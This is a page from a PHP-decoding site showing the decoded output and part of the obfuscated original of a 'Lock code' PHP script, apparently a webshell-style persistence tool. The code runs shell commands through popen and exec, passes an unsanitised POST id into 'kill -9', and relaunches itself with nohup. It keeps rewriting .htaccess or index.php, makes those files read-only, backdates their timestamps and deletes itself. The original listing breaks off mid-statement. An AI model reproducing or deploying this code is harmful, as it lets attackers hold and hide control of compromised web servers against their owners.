Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto eae21; F42fc: exit; goto B86f6; Cb4c0: $a4a32 = realpath(dirname($a1966)); goto fe7be..
Decoded Output download
<? goto eae21; F42fc: exit; goto B86f6; Cb4c0: $a4a32 = realpath(dirname($a1966)); goto fe7be; d511b: A1737($E1cf9, "function", "View function"); goto d4342; b0a63: A7E0C($a1966, $Ef2b3); goto e6d85; f0e5f: $E1cf9 = str_replace("/", '', $E1cf9); goto F5ef0; a9fb4: echo "</div></div></body></html>"; goto F42fc; B86f6: F585d: goto F5b85; D53b0: function E2214($c6a66, $A7ad6, $d5681) { goto Aef23; ee1e4: bdbd9: goto A36cd; A01b9: $D1422 = ($_SERVER["REQUEST_SCHEME"] != '' ? $_SERVER["REQUEST_SCHEME"] : "http") . "://" . $d75d3; goto A0e5b; Bfe43: if (isset($_SERVER["HTTP_HOST"])) { goto bdbd9; } goto F2f63; A36cd: $d75d3 = $_SERVER["HTTP_HOST"]; goto B80e7; F2f63: if (isset($_SERVER["SERVER_NAME"])) { goto db027; } goto ac017; D3c9c: echo "<input type="submit" value="" . $d5681 . "" />"; goto Db06c; f5863: echo "id: <input type="text" name="id" value="" /> <br/>"; goto D3c9c; ac017: goto ead6f; goto ee1e4; Ff68f: echo "<br/><form action="" . $B276c . "" method="post">"; goto f5863; A0e5b: $B276c = $D1422 . "?action=" . $A7ad6; goto Ff68f; Db06c: echo "</form>"; goto E1f49; Aef23: $d75d3 = ''; goto Bfe43; b9a70: $d75d3 = $_SERVER["SERVER_NAME"]; goto ad49f; ec2db: db027: goto b9a70; B80e7: goto ead6f; goto ec2db; ad49f: ead6f: goto faf01; faf01: $d75d3 = $d75d3 . $_SERVER["PHP_SELF"]; goto A01b9; E1f49: } goto de031; fe7be: $Ef2b3 = $a4a32 . "/" . $ee44a; goto de57c; D7669: function b7BF2() { goto D8fec; D4ed3: return $c88fd[1] . "/php"; goto a8c72; eda2b: preg_match("/--prefix=([^&]+)/si", $b7fd3, $c88fd); goto f84ec; ce19e: ob_end_clean(); goto b89aa; D8fec: ob_start(); goto a67cd; f84ec: if (isset($c88fd[1])) { goto ef879; } goto C0a39; fc052: if (!(isset($c88fd[1]) && $c88fd[1] != '')) { goto Fae7b; } goto D4ed3; a8c72: Fae7b: goto eda2b; a67cd: phpinfo(1); goto Cad3e; b89aa: preg_match("/--bindir=([^&]+)/si", $b7fd3, $c88fd); goto fc052; A2526: ef879: goto b4e30; b4e30: return $c88fd[1] . "/bin/php"; goto B86c3; C0a39: return "php"; goto A2526; Cad3e: $b7fd3 = ob_get_contents(); goto ce19e; B86c3: } goto F41e2; ede8c: echo "</div><div style="float:right;text-align: left;width:850px; border:1px solid #999999;padding: 5px">information\xef\xbc\232"; goto e8105; Cbd6d: A1737($E1cf9, "get_php_fpm", "Detectfpm"); goto D27e7; e7ff2: a1737($E1cf9, "lock3", "Lock directly in the old way"); goto Cbd6d; d4342: a1737($E1cf9, "phpinfo", "phpinfo"); goto ef7bb; e6d85: d7e7d: goto fffea; d02f7: $a1966 = __FILE__; goto Cb4c0; D27e7: e2214($E1cf9, "kill_php_fpm", "deletefpm"); goto ede8c; fffea: if (!strstr($_SERVER["SCRIPT_NAME"], $E1cf9)) { goto F585d; } goto d7419; e8105: switch ($_GET["action"]) { case "function": goto c24d0; A1505: dF2e0($d61ad); goto E69fd; f0f1b: df2e0($Ff732); goto Ccb48; c24d0: $d61ad[] = array(); goto E5ffc; b650d: foreach (explode("
", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; A939a: } goto Cb735; Cb735: C8ace: goto A1505; E69fd: goto e79ab; goto B8dab; E5ffc: $Ff732 = explode(",", ini_get("disable_functions")); goto f0f1b; Ccb48: $d21a1 = BF218("ps aux"); goto b650d; B8dab: case "get_php_fpm": goto C2d07; B612f: goto e79ab; goto f09bd; C60a7: DF2E0($d61ad); goto B612f; c55c7: foreach (explode("\xa", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; c25c0: } goto Ac138; a91b0: $d21a1 = Bf218("ps aux | grep 'php-fpm'"); goto c55c7; Ac138: Dcf37: goto C60a7; C2d07: $d61ad[] = array(); goto a91b0; f09bd: case "kill_php_fpm": goto d05ea; b5edc: $Bafb8 = $_POST["id"]; goto F8b82; a0337: goto e79ab; goto f7d39; f4153: E3968: goto fd47c; fd47c: dF2e0($d61ad); goto a0337; F8b82: $d21a1 = bf218("kill -9 {$Bafb8}"); goto dc981; dc981: foreach (explode("\xa", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; a2dec: } goto f4153; d05ea: $d61ad[] = array(); goto b5edc; f7d39: case "check": goto Bf4db; cc6f4: Df2e0($d61ad); goto Cce4c; D0303: $d61ad["php path"] = $Cfbe1; goto c9c99; A3743: dF2e0($d61ad); goto db5a1; Eb96e: preg_match("/PHP ([.0-9]+)/si", $f9496, $c88fd); goto B0866; B1ef1: dcc0a: goto Eb96e; f9472: Ba54e: goto D040f; D040f: if (!file_exists($ee44a)) { goto c7a71; } goto ea392; Bf4db: $Cfbe1 = B7bF2(); goto D0303; db5a1: goto e79ab; goto F1cfb; B0866: if (!isset($c88fd[1])) { goto Ba54e; } goto C3765; f7347: $d61ad["Execution error"] = "The existing method cannot execute the command"; goto cc6f4; Cce4c: goto e79ab; goto B1ef1; c9c99: $f9496 = BF218("{$Cfbe1} -v"); goto Bd2c2; Bd2c2: if (!($f9496 === false)) { goto dcc0a; } goto f7347; C3765: $d61ad["php \xe7\211\210\xe6\234\254"] = $c88fd[1]; goto f9472; D7dbe: c7a71: goto A3743; ea392: $d61ad["Lock file path"] = $Ef2b3; goto D7dbe; F1cfb: case "lock": goto B7111; B90dc: bf218($d61ad["Excuting an order"]); goto E538c; fe677: $d61ad["Excuting an order"] = "nohup {$Cfbe1} " . $a1966 . " >/dev/null 2>&1 &"; goto B90dc; Bbe85: dF2E0($d61ad); goto C91a3; E538c: $f9496 = bF218("ps aux | grep {$E1cf9}"); goto c2d31; B7111: $Cfbe1 = B7Bf2(); goto fe677; E36a6: Ec6df: goto Bbe85; c2d31: foreach (explode("
", $f9496) as $A7ad6) { $d61ad[] = $A7ad6; c9789: } goto E36a6; C91a3: goto e79ab; goto F5d2d; F5d2d: case "4": goto a875d; b3e11: E3bc9: goto f04c3; cc6b7: foreach (explode("
", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; cbb3e: } goto b3e11; b1d73: goto e79ab; goto A23d1; Fb186: $d21a1 = bf218("ps aux | grep " . $E1cf9); goto cc6b7; f04c3: df2E0($d61ad); goto b1d73; a875d: $d61ad[] = array(); goto Fb186; A23d1: case "modify": goto Aab1b; d946e: Fc6df: goto Df81a; Df81a: dF2e0($d61ad); goto a04ce; a04ce: goto e79ab; goto acb2a; Da9ef: if (!chmod($Ef2b3, 0777)) { goto Fc6df; } goto E0137; Aab1b: $d61ad["Modified result"] = "failure"; goto Da9ef; E0137: $d61ad["Modified result"] = "success"; goto d946e; acb2a: case "phpinfo": phpinfo(); goto e79ab; case "php_version": goto dc67e; dc67e: $Cfbe1 = b7bf2(); goto bddc1; b8951: goto e79ab; goto f6361; e41e1: Bd5e1: goto C704c; F409f: $d21a1 = BF218("{$Cfbe1} -v"); goto bd94e; bd94e: foreach (explode("\xa", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; E62e2: } goto e41e1; C704c: DF2e0($d61ad); goto b8951; bddc1: $d61ad[] = array(); goto F409f; f6361: case "exist": echo "{|exist|}"; goto e79ab; case "del": @unlink(__FILE__); goto e79ab; case "lock3": goto Fe903; A5f5a: B143e: goto c774f; c774f: $E2985 = hash("sha1", $a50da); goto Fe15e; D5eea: @touch($Ef2b3, strtotime("-400 days", time())); goto E4724; d7300: if (file_exists($Ef2b3)) { goto C7f0e; } goto b4e43; E4724: @chmod($Ef2b3, 0444); goto F1563; f0ef5: if (!true) { goto Ca879; } goto d7300; Fe15e: if (!($E2985 != $C5512)) { goto d1579; } goto Dc242; Fafdd: sleep(1); goto a14d3; b4e43: @file_put_contents($Ef2b3, $fecee); goto D5eea; De9ec: Ca879: goto F8b71; F1563: C7f0e: goto Bcc98; d56f3: $fecee = file_get_contents($Ef2b3); goto Db005; Db005: $C5512 = hash("sha1", $fecee); goto Fc911; b3aee: if (!file_exists($a1966)) { goto B143e; } goto f40e8; D31b3: @chmod($Ef2b3, 0444); goto b22db; Bcc98: $a50da = file_get_contents($Ef2b3); goto b3aee; f6f18: @file_put_contents($Ef2b3, $fecee); goto Ddbd8; F8b71: goto e79ab; goto f6226; Fc911: Cbdad: goto f0ef5; Dc242: @unlink($Ef2b3); goto f6f18; f40e8: goto Ca879; goto A5f5a; Ddbd8: @touch($Ef2b3, strtotime("-400 days", time())); goto D31b3; a14d3: goto Cbdad; goto De9ec; b22db: d1579: goto Fafdd; Fe903: @unlink($a1966); goto d56f3; f6226: default: goto e79ab; } goto E981f; C6723: function bf218($D0185, $Ffd22 = "popen") { goto A0141; c2364: if (!in_array($Ffd22, $Ff732)) { goto a7812; } goto Aef2c; Ed655: a0880: goto c232e; e3a45: switch ($Ffd22) { case "exec": goto ac879; fc4df: foreach ($E8d53 as $d5354 => $A7ad6) { $f9496 .= $d5354 . " : " . $A7ad6 . PHP_EOL; dadb8: } goto C1a5c; Ea186: return $f9496; goto fc6cf; ac879: exec($D0185, $E8d53); goto fc4df; C1a5c: fdbae: goto Ea186; fc6cf: goto c2b67; goto cfbcf; cfbcf: case "popen": goto b027d; f845f: F693b: goto C21cf; e5c7b: $f9496 .= $fe369; goto Fc027; b027d: $E5d4a = popen($D0185, "r"); goto ba8ab; d9c72: goto c2b67; goto Bd735; f2b8b: if (feof($E5d4a)) { goto F693b; } goto ec8e9; ea919: return $f9496; goto d9c72; C21cf: pclose($E5d4a); goto ea919; ec8e9: $fe369 = fgets($E5d4a, 4096); goto e5c7b; Fc027: goto ca095; goto f845f; ba8ab: ca095: goto f2b8b; Bd735: default: return false; goto c2b67; } goto Ed655; A0141: $Ff732 = explode(",", ini_get("disable_functions")); goto c2364; F2491: a7812: goto bbca0; c232e: c2b67: goto d93ae; Aef2c: $Ffd22 = "exec"; goto F2491; E9bf9: $f9496 = ''; goto e3a45; Fc597: D65db: goto E9bf9; bbca0: if (!in_array($Ffd22, $Ff732)) { goto D65db; } goto f4c4b; f4c4b: return false; goto Fc597; d93ae: } goto a0797; ccba1: a1737($E1cf9, "modify", "Make the locked file modifiable"); goto d511b; Eb6ed: function A0f5B() { goto A94b0; e3207: B8a2c: goto f4ee6; a05d2: $aa4ba = true; goto b531d; ef7eb: if (!($aa4ba === false)) { goto B8a2c; } goto e9905; Cf5ec: D8733: goto e3207; A94b0: $aa4ba = preg_match("/cli/i", php_sapi_name()) ? true : false; goto A4ceb; A4ceb: if (!($aa4ba === false)) { goto d36e4; } goto F7e6b; e9905: if (isset($_SERVER["SCRIPT_NAME"])) { goto D8733; } goto a4344; a4344: $aa4ba = true; goto Cf5ec; F7e6b: if (!(isset($_SERVER["argc"]) && $_SERVER["argc"] >= 2)) { goto C49a6; } goto a05d2; f4ee6: return $aa4ba; goto b121e; b531d: C49a6: goto bc8f4; bc8f4: d36e4: goto ef7eb; b121e: } goto C6723; ef7bb: a1737($E1cf9, "php_version", "php_version"); goto e7ff2; B8156: e79ab: goto a9fb4; a0797: function a7E0c($E1cf9, $Ef2b3) { goto f05e2; f23f5: $C5512 = hash("sha1", $fecee); goto C997c; D71d6: if (!($E5b67 != $a2efb)) { goto Ef28d; } goto Ef6ac; b0123: if (!($E2985 != $C5512)) { goto ed2ba; } goto a8bcb; f0ebd: goto a06b5; goto C1a04; A74c7: $fecee = file_get_contents($Ef2b3); goto f23f5; a8bcb: @unlink($Ef2b3); goto B668f; c4c7f: ed2ba: goto b40b8; F955e: d4862: goto b584c; D1a9b: @touch($Ef2b3, strtotime("-400 days", time())); goto bd457; Fbd8c: @file_put_contents($d4aa0, $F5ade); goto E2b4d; Ef6ac: @unlink($d4aa0); goto Fbd8c; F3495: if (!true) { goto a691e; } goto cfc93; b584c: if (!file_exists($E1cf9)) { goto Db7a8; } goto Bd7b6; f05e2: unlink($E1cf9); goto A74c7; F4b1b: Ef28d: goto De7b9; cfc93: if (file_exists($Ef2b3)) { goto B6731; } goto cff8c; bd457: @chmod($Ef2b3, 0444); goto C61ed; Ce5ae: $b00e9 = file_get_contents($d4aa0); goto Fb575; e4271: $a2efb = hash("sha1", $F5ade); goto A47fd; Fb575: $E2985 = hash("sha1", $a50da); goto b0123; a9664: if (file_exists($d4aa0)) { goto d4862; } goto C9462; De7b9: sleep(1); goto f0ebd; B434f: @chmod($d4aa0, 0444); goto F955e; c502a: $a50da = file_get_contents($Ef2b3); goto Ce5ae; Fb6c5: @chmod($d4aa0, 0444); goto F4b1b; e82e8: @touch($Ef2b3, strtotime("-400 days", time())); goto df2a3; E2b4d: @touch($d4aa0, strtotime("-400 days", time())); goto Fb6c5; B668f: @file_put_contents($Ef2b3, $fecee); goto e82e8; b40b8: $E5b67 = hash("sha1", $b00e9); goto D71d6; C9462: @file_put_contents($d4aa0, $F5ade); goto C9b3d; df2a3: @chmod($Ef2b3, 0444); goto c4c7f; cea62: $F5ade = file_get_contents($d4aa0); goto e4271; Bd7b6: goto a691e; goto f74f3; C997c: $d4aa0 = str_replace("index.php", ".htaccess", $Ef2b3); goto cea62; f74f3: Db7a8: goto c502a; C9b3d: @touch($d4aa0, strtotime("-400 days", time())); goto B434f; cff8c: @file_put_contents($Ef2b3, $fecee); goto D1a9b; C1a04: a691e: goto C9238; C61ed: B6731: goto a9664; A47fd: a06b5: goto F3495; C9238: } goto Edc4e; C8fe8: A1737($E1cf9, "check", "1 - Check the environment"); goto Ace0c; F5ef0: $E1cf9 = str_replace("\", '', $E1cf9); goto D7669; de031: function DF2E0($d61ad) { foreach ($d61ad as $d5354 => $A7ad6) { goto a5b9f; B9122: c3f5b: goto Da2b6; B12d8: echo "<p>{$d5354} : {$A7ad6}</p>"; goto B9122; a5b9f: echo PHP_EOL . "<hr />" . PHP_EOL; goto B12d8; Da2b6: } A3c63: } goto Eb6ed; Ace0c: A1737($E1cf9, "lock", "2 - Lock file"); goto ccba1; E981f: c4fd8: goto B8156; Edc4e: if (!A0f5B()) { goto d7e7d; } goto b0a63; eae21: $ee44a = ".htaccess"; goto d02f7; de57c: $E1cf9 = str_replace($a4a32, '', $a1966); goto f0e5f; F41e2: function A1737($c6a66, $A7ad6, $d5681) { goto b4994; A01f0: if (isset($_SERVER["SERVER_NAME"])) { goto f3a58; } goto F4ffe; dff4b: $d75d3 = $d75d3 . $_SERVER["PHP_SELF"]; goto c0f43; De1f8: goto e0576; goto E65d2; E0f4f: $d75d3 = $_SERVER["SERVER_NAME"]; goto A2f39; A2f39: e0576: goto dff4b; c0f43: $D1422 = ($_SERVER["REQUEST_SCHEME"] != '' ? $_SERVER["REQUEST_SCHEME"] : "http") . "://" . $d75d3; goto D3516; F4ffe: goto e0576; goto E3f42; b4994: $d75d3 = ''; goto ccc47; ccc47: if (isset($_SERVER["HTTP_HOST"])) { goto c6665; } goto A01f0; d34e9: $d75d3 = $_SERVER["HTTP_HOST"]; goto De1f8; D3516: echo "<p style=''><a style='padding: 5px; width:120px;color: #339966; text-decoration:none; ' href='{$D1422}?action={$A7ad6}'>{$d5681}</a></p>"; goto ba304; E65d2: f3a58: goto E0f4f; E3f42: c6665: goto d34e9; ba304: } goto D53b0; d7419: echo "<html lang="zh-cn"><head><meta charset="UTF-8"><title>Lock code</title></head><body><div style="margin: 0 auto; width:1100px"><div style="float: left;text-align: left;width:200px">"; goto C8fe8; F5b85: echo $_SERVER["SCRIPT_NAME"]; ?>
Did this file decode correctly?
Original Code
goto eae21; F42fc: exit; goto B86f6; Cb4c0: $a4a32 = realpath(dirname($a1966)); goto fe7be; d511b: A1737($E1cf9, "\146\165\156\143\164\x69\157\156", "\126\151\x65\167\40\146\165\156\x63\164\151\x6f\x6e"); goto d4342; b0a63: A7E0C($a1966, $Ef2b3); goto e6d85; f0e5f: $E1cf9 = str_replace("\x2f", '', $E1cf9); goto F5ef0; a9fb4: echo "\74\57\144\x69\166\76\x3c\57\x64\x69\x76\x3e\74\57\x62\x6f\144\x79\x3e\74\x2f\x68\x74\155\154\76"; goto F42fc; B86f6: F585d: goto F5b85; D53b0: function E2214($c6a66, $A7ad6, $d5681) { goto Aef23; ee1e4: bdbd9: goto A36cd; A01b9: $D1422 = ($_SERVER["\122\x45\x51\x55\x45\x53\x54\137\123\103\110\105\x4d\105"] != '' ? $_SERVER["\x52\x45\121\x55\x45\123\124\137\x53\x43\110\105\115\105"] : "\x68\x74\x74\x70") . "\x3a\x2f\57" . $d75d3; goto A0e5b; Bfe43: if (isset($_SERVER["\110\124\124\120\137\110\117\123\x54"])) { goto bdbd9; } goto F2f63; A36cd: $d75d3 = $_SERVER["\110\x54\124\120\x5f\110\x4f\x53\124"]; goto B80e7; F2f63: if (isset($_SERVER["\x53\105\x52\126\105\122\x5f\116\x41\115\x45"])) { goto db027; } goto ac017; D3c9c: echo "\x3c\x69\x6e\x70\165\x74\40\x74\x79\160\145\x3d\x22\163\165\x62\x6d\x69\x74\x22\x20\x76\141\154\165\x65\x3d\x22" . $d5681 . "\42\x20\57\76"; goto Db06c; f5863: echo "\151\x64\72\x20\x3c\x69\156\160\165\x74\x20\x74\x79\x70\145\x3d\42\x74\145\170\164\x22\x20\156\x61\x6d\145\75\42\151\x64\42\x20\166\141\x6c\165\145\x3d\42\x22\x20\x2f\76\x20\x3c\142\x72\x2f\76"; goto D3c9c; ac017: goto ead6f; goto ee1e4; Ff68f: echo "\74\142\162\x2f\x3e\74\146\157\x72\155\40\141\x63\x74\x69\x6f\156\75\42" . $B276c . "\x22\40\155\x65\x74\150\157\144\75\42\x70\x6f\x73\164\42\76"; goto f5863; A0e5b: $B276c = $D1422 . "\x3f\x61\x63\x74\151\x6f\156\x3d" . $A7ad6; goto Ff68f; Db06c: echo "\x3c\57\x66\x6f\162\x6d\76"; goto E1f49; Aef23: $d75d3 = ''; goto Bfe43; b9a70: $d75d3 = $_SERVER["\123\x45\x52\x56\105\x52\137\116\x41\115\x45"]; goto ad49f; ec2db: db027: goto b9a70; B80e7: goto ead6f; goto ec2db; ad49f: ead6f: goto faf01; faf01: $d75d3 = $d75d3 . $_SERVER["\x50\110\x50\x5f\x53\x45\114\x46"]; goto A01b9; E1f49: } goto de031; fe7be: $Ef2b3 = $a4a32 . "\57" . $ee44a; goto de57c; D7669: function b7BF2() { goto D8fec; D4ed3: return $c88fd[1] . "\57\160\x68\160"; goto a8c72; eda2b: preg_match("\57\55\x2d\x70\x72\x65\146\151\170\75\x28\x5b\136\x26\135\x2b\x29\x2f\x73\151", $b7fd3, $c88fd); goto f84ec; ce19e: ob_end_clean(); goto b89aa; D8fec: ob_start(); goto a67cd; f84ec: if (isset($c88fd[1])) { goto ef879; } goto C0a39; fc052: if (!(isset($c88fd[1]) && $c88fd[1] != '')) { goto Fae7b; } goto D4ed3; a8c72: Fae7b: goto eda2b; a67cd: phpinfo(1); goto Cad3e; b89aa: preg_match("\x2f\55\55\x62\151\156\x64\x69\162\x3d\50\133\136\x26\135\53\x29\57\x73\151", $b7fd3, $c88fd); goto fc052; A2526: ef879: goto b4e30; b4e30: return $c88fd[1] . "\57\142\x69\x6e\57\160\150\160"; goto B86c3; C0a39: return "\160\x68\x70"; goto A2526; Cad3e: $b7fd3 = ob_get_contents(); goto ce19e; B86c3: } goto F41e2; ede8c: echo "\74\57\x64\151\x76\x3e\74\144\x69\x76\x20\x73\164\x79\x6c\x65\x3d\x22\x66\154\x6f\141\x74\72\162\x69\x67\150\x74\73\x74\145\x78\164\x2d\x61\154\x69\x67\x6e\x3a\x20\154\145\146\164\73\x77\x69\x64\164\150\x3a\70\65\x30\160\x78\73\x20\x62\157\162\x64\x65\162\72\61\x70\x78\x20\163\157\154\x69\x64\40\x23\x39\x39\x39\x39\71\71\73\160\141\x64\x64\151\156\x67\x3a\x20\65\160\170\x22\x3e\x69\x6e\146\x6f\x72\155\x61\x74\x69\157\156\xef\xbc\232"; goto e8105; Cbd6d: A1737($E1cf9, "\x67\145\164\137\160\150\160\x5f\146\160\155", "\x44\x65\x74\x65\x63\164\x66\160\155"); goto D27e7; e7ff2: a1737($E1cf9, "\154\x6f\x63\153\x33", "\x4c\x6f\143\153\40\x64\151\162\145\x63\164\x6c\171\x20\x69\156\40\x74\x68\145\x20\x6f\x6c\x64\40\x77\x61\x79"); goto Cbd6d; d4342: a1737($E1cf9, "\x70\x68\x70\x69\156\146\157", "\x70\x68\x70\151\x6e\146\157"); goto ef7bb; e6d85: d7e7d: goto fffea; d02f7: $a1966 = __FILE__; goto Cb4c0; D27e7: e2214($E1cf9, "\153\151\154\154\137\160\x68\160\137\146\160\x6d", "\144\x65\x6c\x65\x74\145\x66\160\155"); goto ede8c; fffea: if (!strstr($_SERVER["\x53\x43\122\x49\120\124\137\116\101\115\x45"], $E1cf9)) { goto F585d; } goto d7419; e8105: switch ($_GET["\141\x63\164\x69\157\156"]) { case "\x66\165\156\x63\x74\x69\x6f\156": goto c24d0; A1505: dF2e0($d61ad); goto E69fd; f0f1b: df2e0($Ff732); goto Ccb48; c24d0: $d61ad[] = array(); goto E5ffc; b650d: foreach (explode("\12", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; A939a: } goto Cb735; Cb735: C8ace: goto A1505; E69fd: goto e79ab; goto B8dab; E5ffc: $Ff732 = explode("\54", ini_get("\x64\151\163\141\x62\154\145\x5f\146\165\156\x63\164\151\157\x6e\163")); goto f0f1b; Ccb48: $d21a1 = BF218("\x70\x73\x20\x61\165\x78"); goto b650d; B8dab: case "\147\x65\164\137\160\150\x70\x5f\146\x70\155": goto C2d07; B612f: goto e79ab; goto f09bd; C60a7: DF2E0($d61ad); goto B612f; c55c7: foreach (explode("\xa", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; c25c0: } goto Ac138; a91b0: $d21a1 = Bf218("\x70\x73\40\141\165\170\x20\x7c\40\x67\x72\x65\x70\40\x27\160\150\160\55\146\x70\155\47"); goto c55c7; Ac138: Dcf37: goto C60a7; C2d07: $d61ad[] = array(); goto a91b0; f09bd: case "\x6b\151\x6c\154\137\x70\x68\160\137\x66\160\155": goto d05ea; b5edc: $Bafb8 = $_POST["\151\144"]; goto F8b82; a0337: goto e79ab; goto f7d39; f4153: E3968: goto fd47c; fd47c: dF2e0($d61ad); goto a0337; F8b82: $d21a1 = bf218("\x6b\151\154\x6c\x20\x2d\71\40{$Bafb8}"); goto dc981; dc981: foreach (explode("\xa", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; a2dec: } goto f4153; d05ea: $d61ad[] = array(); goto b5edc; f7d39: case "\143\x68\145\x63\153": goto Bf4db; cc6f4: Df2e0($d61ad); goto Cce4c; D0303: $d61ad["\160\150\x70\40\x70\x61\x74\x68"] = $Cfbe1; goto c9c99; A3743: dF2e0($d61ad); goto db5a1; Eb96e: preg_match("\57\x50\110\120\40\50\133\x2e\60\x2d\71\135\53\51\x2f\x73\151", $f9496, $c88fd); goto B0866; B1ef1: dcc0a: goto Eb96e; f9472: Ba54e: goto D040f; D040f: if (!file_exists($ee44a)) { goto c7a71; } goto ea392; Bf4db: $Cfbe1 = B7bF2(); goto D0303; db5a1: goto e79ab; goto F1cfb; B0866: if (!isset($c88fd[1])) { goto Ba54e; } goto C3765; f7347: $d61ad["\105\x78\145\143\x75\x74\x69\157\156\40\x65\x72\x72\157\x72"] = "\124\150\145\40\145\x78\151\x73\164\151\x6e\147\x20\x6d\145\x74\150\x6f\144\x20\x63\141\156\x6e\x6f\164\40\145\170\145\143\165\x74\x65\40\x74\x68\145\40\x63\157\155\x6d\x61\156\x64"; goto cc6f4; Cce4c: goto e79ab; goto B1ef1; c9c99: $f9496 = BF218("{$Cfbe1}\40\x2d\x76"); goto Bd2c2; Bd2c2: if (!($f9496 === false)) { goto dcc0a; } goto f7347; C3765: $d61ad["\x70\150\x70\x20\xe7\211\210\xe6\234\254"] = $c88fd[1]; goto f9472; D7dbe: c7a71: goto A3743; ea392: $d61ad["\114\x6f\x63\153\x20\146\x69\154\145\40\x70\x61\x74\150"] = $Ef2b3; goto D7dbe; F1cfb: case "\x6c\x6f\x63\x6b": goto B7111; B90dc: bf218($d61ad["\x45\170\143\165\164\x69\x6e\x67\40\141\156\40\x6f\162\x64\145\x72"]); goto E538c; fe677: $d61ad["\105\x78\x63\165\164\151\156\x67\40\x61\156\40\x6f\162\x64\145\162"] = "\x6e\x6f\x68\165\x70\40{$Cfbe1}\x20" . $a1966 . "\x20\x3e\x2f\x64\145\x76\57\x6e\x75\154\x6c\40\62\76\46\x31\40\x26"; goto B90dc; Bbe85: dF2E0($d61ad); goto C91a3; E538c: $f9496 = bF218("\x70\x73\40\x61\165\170\x20\x7c\x20\147\162\x65\160\40{$E1cf9}"); goto c2d31; B7111: $Cfbe1 = B7Bf2(); goto fe677; E36a6: Ec6df: goto Bbe85; c2d31: foreach (explode("\12", $f9496) as $A7ad6) { $d61ad[] = $A7ad6; c9789: } goto E36a6; C91a3: goto e79ab; goto F5d2d; F5d2d: case "\x34": goto a875d; b3e11: E3bc9: goto f04c3; cc6b7: foreach (explode("\12", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; cbb3e: } goto b3e11; b1d73: goto e79ab; goto A23d1; Fb186: $d21a1 = bf218("\x70\163\x20\141\x75\x78\40\x7c\40\147\x72\x65\x70\x20" . $E1cf9); goto cc6b7; f04c3: df2E0($d61ad); goto b1d73; a875d: $d61ad[] = array(); goto Fb186; A23d1: case "\x6d\157\x64\151\146\x79": goto Aab1b; d946e: Fc6df: goto Df81a; Df81a: dF2e0($d61ad); goto a04ce; a04ce: goto e79ab; goto acb2a; Da9ef: if (!chmod($Ef2b3, 0777)) { goto Fc6df; } goto E0137; Aab1b: $d61ad["\x4d\157\x64\x69\x66\151\145\144\40\x72\x65\x73\165\x6c\x74"] = "\146\x61\151\154\x75\162\x65"; goto Da9ef; E0137: $d61ad["\115\x6f\144\x69\146\x69\x65\x64\40\162\145\x73\x75\154\x74"] = "\163\165\143\x63\x65\x73\163"; goto d946e; acb2a: case "\x70\150\160\151\156\x66\157": phpinfo(); goto e79ab; case "\x70\150\x70\x5f\166\x65\162\x73\151\157\x6e": goto dc67e; dc67e: $Cfbe1 = b7bf2(); goto bddc1; b8951: goto e79ab; goto f6361; e41e1: Bd5e1: goto C704c; F409f: $d21a1 = BF218("{$Cfbe1}\x20\x2d\166"); goto bd94e; bd94e: foreach (explode("\xa", $d21a1) as $A7ad6) { $d61ad[] = $A7ad6; E62e2: } goto e41e1; C704c: DF2e0($d61ad); goto b8951; bddc1: $d61ad[] = array(); goto F409f; f6361: case "\x65\x78\151\x73\164": echo "\173\x7c\145\x78\151\x73\x74\x7c\x7d"; goto e79ab; case "\x64\x65\x6c": @unlink(__FILE__); goto e79ab; case "\154\x6f\143\153\63": goto Fe903; A5f5a: B143e: goto c774f; c774f: $E2985 = hash("\163\150\x61\x31", $a50da); goto Fe15e; D5eea: @touch($Ef2b3, strtotime("\x2d\64\60\x30\40\144\141\x79\x73", time())); goto E4724; d7300: if (file_exists($Ef2b3)) { goto C7f0e; } goto b4e43; E4724: @chmod($Ef2b3, 0444); goto F1563; f0ef5: if (!true) { goto Ca879; } goto d7300; Fe15e: if (!($E2985 != $C5512)) { goto d1579; } goto Dc242; Fafdd: sleep(1); goto a14d3; b4e43: @file_put_contents($Ef2b3, $fecee); goto D5eea; De9ec: Ca879: goto F8b71; F1563: C7f0e: goto Bcc98; d56f3: $fecee = file_get_contents($Ef2b3); goto Db005; Db005: $C5512 = hash("\163\x68\x61\x31", $fecee); goto Fc911; b3aee: if (!file_exists($a1966)) { goto B143e; } goto f40e8; D31b3: @chmod($Ef2b3, 0444); goto b22db; Bcc98: $a50da = file_get_contents($Ef2b3); goto b3aee; f6f18: @file_put_contents($Ef2b3, $fecee); goto Ddbd8; F8b71: goto e79ab; goto f6226; Fc911: Cbdad: goto f0ef5; Dc242: @unlink($Ef2b3); goto f6f18; f40e8: goto Ca879; goto A5f5a; Ddbd8: @touch($Ef2b3, strtotime("\55\x34\60\60\x20\x64\141\x79\163", time())); goto D31b3; a14d3: goto Cbdad; goto De9ec; b22db: d1579: goto Fafdd; Fe903: @unlink($a1966); goto d56f3; f6226: default: goto e79ab; } goto E981f; C6723: function bf218($D0185, $Ffd22 = "\160\x6f\160\145\156") { goto A0141; c2364: if (!in_array($Ffd22, $Ff732)) { goto a7812; } goto Aef2c; Ed655: a0880: goto c232e; e3a45: switch ($Ffd22) { case "\145\170\x65\143": goto ac879; fc4df: foreach ($E8d53 as $d5354 => $A7ad6) { $f9496 .= $d5354 . "\x20\x3a\40" . $A7ad6 . PHP_EOL; dadb8: } goto C1a5c; Ea186: return $f9496; goto fc6cf; ac879: exec($D0185, $E8d53); goto fc4df; C1a5c: fdbae: goto Ea186; fc6cf: goto c2b67; goto cfbcf; cfbcf: case "\160\x6f\160\x65\x6e": goto b027d; f845f: F693b: goto C21cf; e5c7b: $f9496 .= $fe369; goto Fc027; b027d: $E5d4a = popen($D0185, "\x72"); goto ba8ab; d9c72: goto c2b67; goto Bd735; f2b8b: if (feof($E5d4a)) { goto F693b; } goto ec8e9; ea919: return $f9496; goto d9c72; C21cf: pclose($E5d4a); goto ea919; ec8e9: $fe369 = fgets($E5d4a, 4096); goto e5c7b; Fc027: goto ca095; goto f845f; ba8ab: ca095: goto f2b8b; Bd735: default: return false; goto c2b67; } goto Ed655; A0141: $Ff732 = explode("\54", 